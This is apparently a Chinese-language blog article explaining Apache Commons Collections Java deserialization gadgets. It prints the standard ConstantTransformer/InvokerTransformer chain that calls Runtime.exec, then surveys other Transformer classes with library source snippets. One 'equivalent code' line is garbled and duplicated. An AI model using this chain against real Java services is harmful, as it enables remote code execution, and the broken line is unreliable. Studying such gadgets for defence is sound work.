Apache CommonCollection Gadget 几种特殊的玩法

1 简介众所周知 , CommonCollection Gadget主要是由ConstantTransformer , InvokerTransformer , ChainedTransformer构成 。gadget主要通过Transformer接口 的transform方法 , 对输入的对象做变换 。ConstantTransformer不会做任何变换 , 只会返回类在实例化时传入的对象 , InvokerTransformer会对类在实例化时传入的参数 , 通过反射去调用 , ChainedTransformer将所有的Transformer连接起来 , 上一个Transformer的transform方法的结果 , 作为下一个Transformer的transform方法的参数 。这样就完成JAVA反序列化的gadget 。下面为调用Runtime执行calc的CommonCollection的chain
final Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),new InvokerTransformer("exec",new Class[] { String.class }, execArgs),new ConstantTransformer(1) };上面的chain等效与下面的代码
Runtime.class.getMethod("getRuntime", new Class[0]).invoke(null, new ObjectRuntime.class.getMethod("getRuntime", new Class[0]).invoke(null, new Object从上面的代码中我们可以暂时得出以下结论

  1. 只有链式调用的方法才可以被改写成CommonCollection执行链
  2. gadget中 , 不能有变量声明语句
  3. 没有while等语句
  4. 一切操作靠反射
2 CommonCollection其他Transform的简介在
org.Apache.commons.collections.functors中 , 所有的类都可以被简单的分为三类 , 分别继承自Transformer接口 ,  Predicate接口 , Closure接口 。这三个接口主要有以下区别
  1. Transformer接口接收一个对象 , 返回对象的执行结果
  2. Closure接口接收一个对象 , 不返回对象的执行结果
  3. Predicate接口 , 类似条件语句 , 会根据执行结果 , 返回true或者false 。这个将主要用在SwitchTransformer类中
对于我们来说 , Closure接口没有太多用 , 下面主要介绍一下继承自Transformer接口的类与继承自Predicate接口的类
继承自Transformer接口的类ChainedTransformer将实例化后的Transformer的类的数组 , 按顺序一个一个执行 , 前面的transform结果作为下一个transform的输出 。
public Object transform(Object object) {for (int i = 0; i < iTransformers.length; i++) {object = iTransformers[i].transform(object);}return object;}CloneTransformer调用并返回输入对象clone方法的结果
public Object transform(Object input) {if (input == null) {return null;}return PrototypeFactory.getInstance(input).create();}ClosureTransformer将Closure接口的类转换为Transformer
public Object transform(Object input) {iClosure.execute(input);return input;}ConstantTransformer调用transform方法 , 只返回类在实例化时存储的类
public Object transform(Object input) {    return iConstant;}ExceptionTransformer抛出一个异常 , FunctorException
public Object transform(Object input) {    throw new FunctorException("ExceptionTransformer invoked");}FactoryTransformer调用相应的工厂类并返回结果
public Object transform(Object input) {    return iFactory.create();}InstantiateTransformer根据给定的参数 , 在调用transform方法的时候实例化一个类
public Object transform(Object input) {try {if (input instanceof Class == false) {throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a "+ (input == null ? "null object" : input.getClass().getName()));}Constructor con = ((Class) input).getConstructor(iParamTypes);return con.newInstance(iArgs);} catch (NoSuchMethodException ex) {throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");} catch (InstantiationException ex) {throw new FunctorException("InstantiateTransformer: InstantiationException", ex);} catch (IllegalAccessException ex) {throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);} catch (InvocationTargetException ex) {throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);}}InvokerTransformer调用transform方法的时候 , 根据类在实例化时提供的参数 , 通过反射去调用输入对象的方法


推荐阅读